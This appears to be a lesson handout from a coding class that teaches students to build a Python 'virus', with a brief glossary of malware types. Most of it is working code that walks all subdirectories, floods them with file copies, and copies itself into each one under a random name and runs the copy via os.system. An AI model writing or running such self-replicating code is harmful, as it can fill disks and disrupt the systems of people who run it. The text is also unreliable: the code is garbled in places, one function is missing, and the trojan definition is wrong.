



### What is our GOAL for this MODULE?

In this class, we learned about malware and how it affects computers and other digital devices and we created a virus that affects all Python applications.

# What did we ACHIEVE in the class TODAY?

- Created a virus
- Learned about stutil module
- Learn about path directories

# Which CONCEPTS/ CODING BLOCKS did we cover today?

- We imported shutil library
- Creation of new virus
- Creation of replication file



#### How did we DO the activities?

- 1. A computer virus is a malicious piece of code that spreads from one device to another.
  - Worms Worms are viruses that, unlike traditional viruses, do not need the user's intervention to spread between devices, It usually spreads using replication
  - Trojans: A virus that targets machines or networks to spread itself.
  - Ransomware: During ransomware attacks, a user's files are encrypted and a ransom is demanded to regain access to them.
- 2. import all the required python libraries
  - import os

The sys module provides access to operating system

import shutil

shutil module helps in automating the process of copying and removal of files and directories

Import random

```
import os
import shutil
import random
```

- 3. Create a class virus and initialize objects
  - The \_\_init\_\_ function is a reserved method in python to initialize the attributes of the class
  - Set new instance (objects) path, target\_dir, repeat Value to None
  - Initialize the variable **path** to store the current path
  - Initialize the list variable **target\_dir** to store current and subdirectories
  - Initialize the variable **repeat** with any value of your choice for a program to



know how many copies to be created for a virus

```
class Virus:

    def __init__(self, path=None, target_dir=None, repeat=None):
        self.path = path
        self.target_dir = []
        self.repeat = 2
        self.own_path = os.path.realpath(__file__)
```

- 4. Call the main() function to perform all virus actions.
  - Fetch the current\_directory in which the Virus.py file is presently using the os. path.abspath
  - Define the object Virus for class Virus and set the attribute path to current\_directory.Access class attribute and method through objects\

```
if __name__ == "__main__":
    current_directory = os.path.abspath("")
    Virus = Virus(path=current_directory)
    Virus.Virus_action()
```

- 5. Create function **list\_directories** to store the path to all directories present in the current path in list variable **target\_dir** 
  - Append the target\_dir with current values stored in variable target\_dir
  - Get the list of all files and directories in the current path in which the virus file is present
  - Apply a for loop on the list of files just stored in variable current\_dir. This
    function will check if it's a file or directory. This is needed as we are only
    interested in directories here
  - New files we are creating with function replicate will start with "." and so we will exclude them from our list to find only the directories.
  - Get the full path of the file/directory



- Print the directory
- Check if the **absolute\_path** is a directory
- If the path is a directory in the previous step i.e absolute path, then call the function **list\_directories** with a new attribute, which will append the same to the **target\_dir** list variable
- If the absolute path is a file then no action will be performed and pass this in else condition.

```
def list_directories(self,path):
    self.target_dir.append(path)
    current_dir = os.listdir(path)

for file in current_dir:
    if not file.startswith('.'):
        absolute_path = os.path.join(path, file)
        print(absolute_path)

    if os.path.isdir(absolute_path):
        self.list_directories(absolute_path)
    else:
        pass
```

- 6. Create a function new\_virus with an attribute self
  - Fetch the directories stored in **target\_dir** one by one to create a new virus using **for** loop
  - Choose a random number to create a new name for the new virus.randint() will select any number within the specified range
  - Create the new name of the new virus which will take virus as a name along with a random number and add .py as an extension
  - Store the full path of the new virus in a variable destination using os.path.join()
  - Copy the virus from the base virus file to a new destination using the python command **shutil.copy file()**
  - Run the new virus in the operating system's selected directory



```
def new_virus(self):
    for directory in self.target_dir:
        n = random.randint(0,10)
        new_virus="Virus"+str(n)+".py"
        destination = os.path.join(directory, new_virus)
        shutil.copyfile(self.own_path, destination)
        os.system(new_virus + " l")
```

- 7. Create a function **replicate** and pass the argument **(self)** 
  - Fetch the directories stored in **target\_dir** one by one to replicate files in respective directories
  - Fetch the files present in the directory to **replicate**

Fetch the files one by one using for loop to replicate every file

- Get the **absolute file path** along with the filename
- Ignore the files created by a virus(i.e. starting with ".") and the directories
- Assign the full file path to the variable source
- This is the for loop to know how many copies of a file to be made, which it will know from the variable repeat initialized above in the program
- Set the **destination** path along with a fine name to be replicated
- Copy file using python built-in function shutil.copyfile

- 8. Define the main function Virus\_action
  - Call the function **list\_directories** to list all the directories in the current directory along with a current directory



- Print the list of target directories stored in target\_dir fetched with function list directories
- Call the function replicate() to replicate the files with different names
- Call the function **new\_virus()** to replicate a new virus and run the same

```
def Virus_action(self):
        self.list directories(self.path)
        print(self.target dir)
(L
        self.replicate()
```

9. Now run the program.

#### What's next?

In the next class, you will be learning about SQL

### **EXTEND YOUR KNOWLEDGE:**

To know more about viruses click here